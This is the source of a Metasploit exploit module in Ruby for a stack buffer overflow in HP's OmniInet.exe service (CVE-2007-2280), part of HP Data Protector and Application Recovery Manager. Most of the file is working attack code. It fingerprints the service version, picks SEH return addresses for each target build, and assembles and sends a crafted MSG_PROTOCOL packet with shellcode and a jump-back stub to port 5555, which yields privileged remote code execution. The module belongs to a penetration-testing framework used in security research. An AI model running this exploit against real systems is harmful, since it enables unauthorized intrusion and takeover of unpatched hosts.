metasploit-framework/modules/exploits/windows/misc/hp_omniinet_1.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP OmniInet.exe MSG_PROTOCOL Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in the Hewlett-Packard
        OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)
        packet, a remote attacker may be able to execute arbitrary code with elevated
        privileges.

        This service is installed with HP OpenView Data Protector, HP Application
        Recovery Manager and potentially other products. This exploit has been tested
        against versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1
        of Application Recovery Manager.

        NOTE: There are actually two consecutive wcscpy() calls in the program (which
        may be why ZDI considered them two separate issues). However, this module only
        exploits the first one.
      },
      'Author'         =>
        [
          'EgiX <n0b0d13s[at]gmail.com>',
          'Fairuzan Roslan <riaf[at]mysec.org>',
          'jduck'
        ],
      'References'     =>
        [
          [ 'CVE', '2007-2280' ],
          [ 'BID', '37396' ],
          [ 'OSVDB', '61206' ],
          [ 'ZDI', '09-099' ]
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload' =>
        {
          'Space'    => 4658+66,
          'BadChars' => "\x00", # (we don't want \x00\x00)
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic Targeting', { 'auto' => true }  ],

          # DP Targets
          [ 'HP OpenView Storage Data Protector A.05.50: INET, internal build 330',
            {
              'Ret' => 0x004406cf # p/p/r - OmniInet.exe (v5.50.330.0)
            }
          ],
          [ 'HP OpenView Storage Data Protector A.06.00: INET, internal build 331',
            {
              'Ret' => 0x0044327d # p/p/r - OmniInet.exe (v6.0.331.0)
            }
          ],

          # APPRM Targets
          [ 'HP StorageWorks Application Recovery Manager A.06.00: INET, internal build 81',
            {
              'Ret' => 0x004280ff # p/p/r - OmniInet.exe (v6.0.81.0)
            }
          ],
          [ 'HP Application Recovery Manager software A.06.10: INET, internal build 282',
            {
              'Ret' => 0x004412ed # p/p/r - OmniInet.exe (v6.0.282.0)
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Dec 17 2009'))

    register_options([Opt::RPORT(5555)], self.class)
  end

  def check
    connect
    sock.put(rand_text_alpha_upper(64))
    resp = sock.get_once(-1,5)
    disconnect

    if (resp)
      resp = resp.unpack('v*').pack('C*')
      print_status("Received response: " + resp)

      # extract version
      if (resp =~ /HP Data Protector/)
        version = resp.split[3]
      elsif (resp =~ /HP OpenView Storage Data Protector/)
        version = resp.split[5]
      elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
        version = resp.split[5]
      else
        return Exploit::CheckCode::Detected
      end

      version = version.split('.')
      major = version[1].to_i
      minor = version[2].to_i
      if ((major < 6) or (major == 6 and minor < 11))
        return Exploit::CheckCode::Vulnerable
      end

      if ((major > 6) or (major == 6 and minor >= 11))
        return Exploit::CheckCode::Safe
      end

    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    mytarget = target

    if (target['auto'])
      mytarget = nil

      print_status("Automatically detecting the target...")

      connect
      sock.put(rand_text_alpha_upper(64))
      resp = sock.get_once(-1,5)
      disconnect

      if not resp
        fail_with(Failure::Unknown, "No version response returned.")
      end

      resp = resp.unpack('v*').pack('C*')
      print_status("Received response: " + resp)

      self.targets.each do |t|
        if (resp =~ /#{t.name}/) then
          mytarget = t
          break
        end
      end

      if (not mytarget)
        fail_with(Failure::NoTarget, "No matching target")
      end

      print_status("Selected Target: #{mytarget.name}")
    else
      print_status("Trying target #{mytarget.name}...")
    end

    # separator between arguments
    sep = [0x2000].pack('N')

    # Unicode BOM
    pkt = "\xff\xfe"
    # MSG_PROTOCOL command
    pkt << Rex::Text.to_unicode("267")

    # dunno
    3.times do
      pkt << sep
      pkt << rand_text_alpha_upper(2)
    end

    # culprit string
    pkt << sep

    # the payload + seh record
    pkt << payload.encoded
    pkt << generate_seh_record(mytarget.ret)

    # jump back
    dist = payload_space + 8
    pkt << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + dist.to_s).encode_string

    # force exception hitting the end of the stack
    pkt << rand_text_alphanumeric(1000) * 25

    # 5th arg
    pkt << sep
    pkt << rand_text_alpha_upper(2)

    # end marker
    pkt << sep

    # packet length
    buff = [pkt.length].pack('N')
    buff << pkt

    connect
    print_status("Sending MSG_PROTOCOL packet...")
    sock.put(buff)

    handler
    disconnect

  end

end